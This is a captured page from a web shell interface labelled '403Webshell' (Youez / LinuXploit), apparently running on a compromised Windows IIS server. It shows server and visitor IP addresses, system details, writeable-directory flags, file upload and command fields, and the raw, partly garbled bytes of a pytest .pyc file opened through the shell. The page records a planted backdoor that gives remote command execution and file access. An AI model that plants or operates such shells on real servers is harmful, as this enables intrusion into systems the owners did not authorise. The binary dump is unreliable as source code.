403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/_pytest/assertion/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/_pytest/assertion/__pycache__/truncate.cpython-312.pyc
�

��Hgk���dZddlmZddlmZddlmZddlmZdZ	dZ
dZ	d							dd
�Zdd�Z
		d							dd�Zdd
�Zy	)z�Utilities for truncating assertion output.

Current default behaviour is to truncate assertion explanations at
terminal lines, unless running with an assertions verbosity level of at least 2 or running on CI.
�)�annotations)�util)�Config)�Item�i�zuse '-vv' to showNc�2�t|�rt|�S|S)zGTruncate this assertion explanation if the given test item is eligible.)�_should_truncate_item�_truncate_explanation)�explanation�item�
max_lengths   �<C:\Python312\Lib\site-packages\_pytest/assertion/truncate.py�truncate_if_requiredrs���T�"�$�[�1�1���c��|jjtj�}|dkxrt	j
�S)z9Whether or not this test item is eligible for truncation.�)�config�
get_verbosityr�VERBOSITY_ASSERTIONSr�
running_on_ci)r�verboses  rr	r	s7���k�k�'�'��(C�(C�D�G��Q�;�3�t�1�1�3�3�3rc��|�t}|�t}tdj|��}|dz}|dz}t|�|kr||kr|S|d|}d}tdj|��|kDr
t	||�}nd}t|�t|�z
}|dr|ddz|d<|r|d	z
}nd|d<g|�d�d
|�d|d	k(rdnd�d
t
���S)aTruncate given list of strings that makes up the assertion explanation.

    Truncates to either 8 lines, or 640 characters - whichever the input reaches
    first, taking the truncation explanation into account. The remaining lines
    will be replaced by a usage message.
    N��FrTF���z...�z...Full output truncated (z line�sz
 hidden), )�DEFAULT_MAX_LINES�DEFAULT_MAX_CHARS�len�join�_truncate_by_char_count�	USAGE_MSG)	�input_lines�	max_lines�	max_chars�input_char_count�tolerable_max_chars�tolerable_max_lines�truncated_explanation�truncated_char�truncated_line_counts	         rr
r
"s=����%�	���%�	��2�7�7�;�/�0��	�B���$�a�-���K��/�/�� 3�3���'�
��3���N�
�2�7�7�(�)�*�-@�@� 7�!�9�!
�����{�+�c�2G�.H�H���R� �$9�"�$=��$E��b�!�� �A�%� �%*��b�!��	��
��%�%9�$:�%�%��*�2��
4�J�y�k�	K��rc��d}t|�D]&\}}|t|�z|kDrn|t|�z
}�(|d}||}|r
||z
}|d|}|j|�|S)Nr)�	enumerater �append)r$r&�iterated_char_count�iterated_index�
input_line�truncated_result�
final_line�final_line_truncate_points        rr"r"fs�����&/��&<�/�"��
���Z��0�9�<���s�:��.��/�#�?�N�3���^�,�J��$-�0C�$C�!�� :�!:�;�
����J�'��r)N)r�	list[str]rrr
�
int | None�returnr6)rrr8�bool)NN)r$r6r%r7r&r7r8r6)r$r6r&�intr8r6)�__doc__�
__future__r�_pytest.assertionr�_pytest.configr�
_pytest.nodesrrrr#rr	r
r"�rr�<module>rAs����#�"�!�������	�BF����"&��4>����4�!� �A��A��A��A��	A�Hr

Youez - 2016 - github.com/yon3zu
LinuXploit